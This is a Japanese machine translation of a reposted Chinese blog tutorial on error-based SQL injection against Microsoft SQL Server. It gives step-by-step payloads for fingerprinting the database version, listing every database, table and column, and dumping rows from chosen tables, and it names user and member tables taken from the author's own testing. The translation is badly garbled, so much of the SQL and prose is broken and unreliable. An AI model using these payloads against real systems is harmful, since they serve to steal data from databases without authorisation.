弟(SQL Serverなど)を注入MSSQL - プレビュー

データベースの種類を判別
し、存在する(sysobjectsにから選択*) - MSSQLとして正常に戻る(また、サーバー名SQL)
及び(sysobjectsにからSELECT COUNT(*))をEXISTS -時々 、上記の文は、このヘクタールをしようとすることは不可能です

データベースのバージョンを確認
       このステートメントversion--と1 = @@のみエコーパターンオハイオ州の存在であるべき
       とストリング((バージョンを@@選択) 、22,4)=「2008」 - 何のエコーを適用しませんモデル2008は、コード2008、通常のコピーに戻るに戻ってデータベースのバージョンである(同様の)レンダリングを実行する最初の文です:第二文はレンダリングを実行した:( 2008場合は、正常に戻りました)

すべてのデータベースの数を取得する(約3ステートメントが使用することを選択した)   
1と1 =(SELECT master..sysdatabasesから(COUNT(名前))QUOTENAME) -
2と1 =(SELECTキャスト(COUNTを( VARCHAR AS名))2bchar%(1)master..sysdatabases中から) -
3と1 =(STR(coun-、およびを選択1 =(QUOTENAME(COUNT(名前)を選択する。)master..sysdatabases WHERE>でDBIDから5。 ) -
    1 =%の2B(STR(COUNT(名前)を選択) '|'。。DBIDからmaster..sysdatabasesで> 5) -
    及び= 1(VARCHARとしてキャスト(COUNT(名前)を選択)%2bchar(1。 )master..sysdatabases DBID> 5)から -
概要:1-4データベースシステムのデータベースから一般DBID。

データベースを取得(取得したすべての文のデータベースは使い捨てであり、文は二つの別のステートメント使用して、> = 2005のみ適している)   
    とします。1 =(XML master..sysdatabasesでのパスからQUOTENAME(名)(「」を選択)) -
    1 =(SELECT | '|' '' %% 2bnameの2BをPATHから( '')master..sysdatabasesでFOR XMLを) - 。

現在のデータベースを取得  
し、DB_NAMEを()> 0

1 =(セレクトDB_NAME()) -

[次の文は、すべてのデータベーステーブルのためのBLAST(上記限定MSSQL2005と)することができる(二つの文を使用して利用可能である)は、現在のデータベース内のテーブルを取得
    し、1 =((名前をQUOTENAMEを選択からの) データベース名..sysobjects XTYPE = 'U-' XML FOR PATH( '')WHERE - ) 
    (および1 = SELECT。 '|' %% 2bnameの2B '|' ..sysobjectsからデータベース名をどこXTYPE = '' FOR UのXML PATH( '') 敏感テーブルを与える3: - )図のコードのテスト結果をコピーWhir_Sec_Users / Whir_Mem_Member / Whir_Mem_MemberGroup

取得するテーブルの列
:指定されたテーブルのすべての列のブラストを(限定MSSQL2005以上)
    idは=(ここで、データベース名..sysobjectsからIDを選択し、データベース名..syscolumnsから1 =(SELECT QUOTENAME(名) XMLパスの名前= '指定したテーブル名')( '')) - 
    1 =(SELECT。 '|' %% 2bnameの2B '|' ID =は、(データベース名からIDを選択..syscolumnsからデータベース名.. XMLのPATH( '' FOR sysobjectsに名= '指定したテーブル名') )) -

レンダリング:情報が占めているため、かどうか、私は私のメッセージの目的の管理者は、情報管理者を取得するだけで、関連する情報は、この方法によって得ることができる実証することはないですよ。

指定されたデータベーステーブルデータベース内の列を取得するには
、データバーストフィールドを1(のみMSSQL2005以上)によって、すべてのテーブル1を指定しています
    し、1 =(トップSELECT 1 .. * XMLに対して指定の除外指定したデータベーステーブルから。 PATH( '')) -
1回のバースト全てのN個のデータフィールド(のみMSSQL2005以上):
    1 =(*上位N .. XMLパスに指定したテーブル名から、指定されたデータベース(SELECT。 '')を) -コード最初の文をコピーします。そして1は(トップ1を選択= *からのXML PATH(「」)に指定した指定されたデータベースのテーブル...) - 図のテスト結果:----------- -----------------------プラスのような結果がさらに良くなり、フィルタ条件、:どこで、名「%のユーザーのような %」 上映されますが含まれていますユーザキーワードアウト。スクリーニングテーブルセグメントで非常に良いと

おすすめ

転載: www.cnblogs.com/-zhong/p/10934622.html